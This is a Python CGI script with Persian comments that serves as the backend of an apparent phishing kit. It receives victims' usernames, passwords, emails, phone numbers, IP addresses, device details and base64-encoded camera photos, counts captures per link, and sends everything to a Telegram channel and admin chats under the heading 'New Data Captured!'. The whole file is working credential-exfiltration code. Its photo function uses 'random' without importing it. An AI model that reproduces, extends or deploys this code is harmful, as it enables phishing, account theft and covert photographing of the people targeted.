#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ==========================================
# capture.py - دریافت اطلاعات و ارسال به کانال
# ==========================================

import json
import urllib.request
import urllib.parse
import sys
import os
from datetime import datetime

from config import *

# ==========================================
# ارسال به تلگرام
# ==========================================

def send_to_telegram(chat_id, text):
    """ارسال پیام به تلگرام"""
    try:
        url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
        data = {
            'chat_id': chat_id,
            'text': text,
            'parse_mode': 'Markdown'
        }
        req = urllib.request.Request(
            url,
            data=json.dumps(data).encode('utf-8'),
            headers={'Content-Type': 'application/json'}
        )
        with urllib.request.urlopen(req, timeout=10) as response:
            return json.loads(response.read().decode('utf-8'))
    except Exception as e:
        print(f"Error: {e}")
        return None

def send_photo_to_telegram(chat_id, photo_data, caption=''):
    """ارسال عکس به تلگرام"""
    try:
        # تبدیل base64 به باینری
        import base64
        photo_bytes = base64.b64decode(photo_data.split(',')[1])
        
        # ساخت فایل موقت
        import tempfile
        with tempfile.NamedTemporaryFile(delete=False, suffix='.jpg') as f:
            f.write(photo_bytes)
            tmp_path = f.name
        
        # ارسال با multipart/form-data
        boundary = '----WebKitFormBoundary' + ''.join(random.choices('0123456789abcdef', k=16))
        body = (
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="chat_id"\r\n\r\n{chat_id}\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="caption"\r\n\r\n{caption}\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="photo"; filename="photo.jpg"\r\n'
            f'Content-Type: image/jpeg\r\n\r\n'
        ).encode('utf-8')
        
        with open(tmp_path, 'rb') as f:
            body += f.read()
        
        body += f'\r\n--{boundary}--\r\n'.encode('utf-8')
        
        url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto"
        req = urllib.request.Request(
            url,
            data=body,
            headers={
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'Content-Length': str(len(body))
            }
        )
        with urllib.request.urlopen(req, timeout=30) as response:
            os.unlink(tmp_path)
            return json.loads(response.read().decode('utf-8'))
    except Exception as e:
        print(f"Error sending photo: {e}")
        return None

# ==========================================
# به‌روزرسانی آمار لینک
# ==========================================

def update_link_stats(link_id, field):
    """به‌روزرسانی آمار لینک"""
    if not os.path.exists('links.json'):
        return
    with open('links.json', 'r', encoding='utf-8') as f:
        links = json.load(f)
    for i, link in enumerate(links):
        if link['link_id'] == link_id:
            links[i][field] += 1
            break
    with open('links.json', 'w', encoding='utf-8') as f:
        json.dump(links, f, indent=2, ensure_ascii=False)

# ==========================================
# پردازش درخواست
# ==========================================

def handle_request():
    """پردازش درخواست POST"""
    try:
        content_length = int(os.environ.get('CONTENT_LENGTH', 0))
        if content_length == 0:
            return
        
        post_data = sys.stdin.read(content_length)
        data = json.loads(post_data)
        
        link_id = data.get('link_id', '')
        username = data.get('username', '')
        password = data.get('password', '')
        email = data.get('email', '')
        phone = data.get('phone', '')
        ip = data.get('ip', 'Unknown')
        device = data.get('device', 'Unknown')
        photos = data.get('photos', [])
        
        # به‌روزرسانی آمار
        update_link_stats(link_id, 'captures')
        
        # ساخت پیام
        msg = f"🔐 **New Data Captured!**\n\n"
        msg += f"🔗 Link: `{link_id}`\n"
        msg += f"🌐 IP: `{ip}`\n"
        msg += f"📱 Device: {device}\n"
        msg += f"🕐 Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"
        msg += f"📋 **Login Info:**\n"
        if username: msg += f"• Username: `{username}`\n"
        if password: msg += f"• Password: `{password}`\n"
        if email: msg += f"• Email: `{email}`\n"
        if phone: msg += f"• Phone: `{phone}`\n"
        if photos: msg += f"\n📸 **Photos:** {len(photos)}"
        
        # ارسال به کانال
        send_to_telegram(CHANNEL_ID, msg)
        
        # ارسال عکس‌ها
        for photo in photos:
            send_photo_to_telegram(CHANNEL_ID, photo, f"📸 Captured - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        
        # ارسال به ادمین‌ها
        for admin_id in ADMIN_IDS:
            send_to_telegram(admin_id, msg)
            for photo in photos:
                send_photo_to_telegram(admin_id, photo, f"📸 Captured - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        
        print("Content-Type: application/json\n")
        print(json.dumps({'status': 'success'}))
        
    except Exception as e:
        print(f"Content-Type: application/json\n")
        print(json.dumps({'status': 'error', 'message': str(e)}))

# ==========================================
# اجرا
# ==========================================

if __name__ == '__main__':
    handle_request()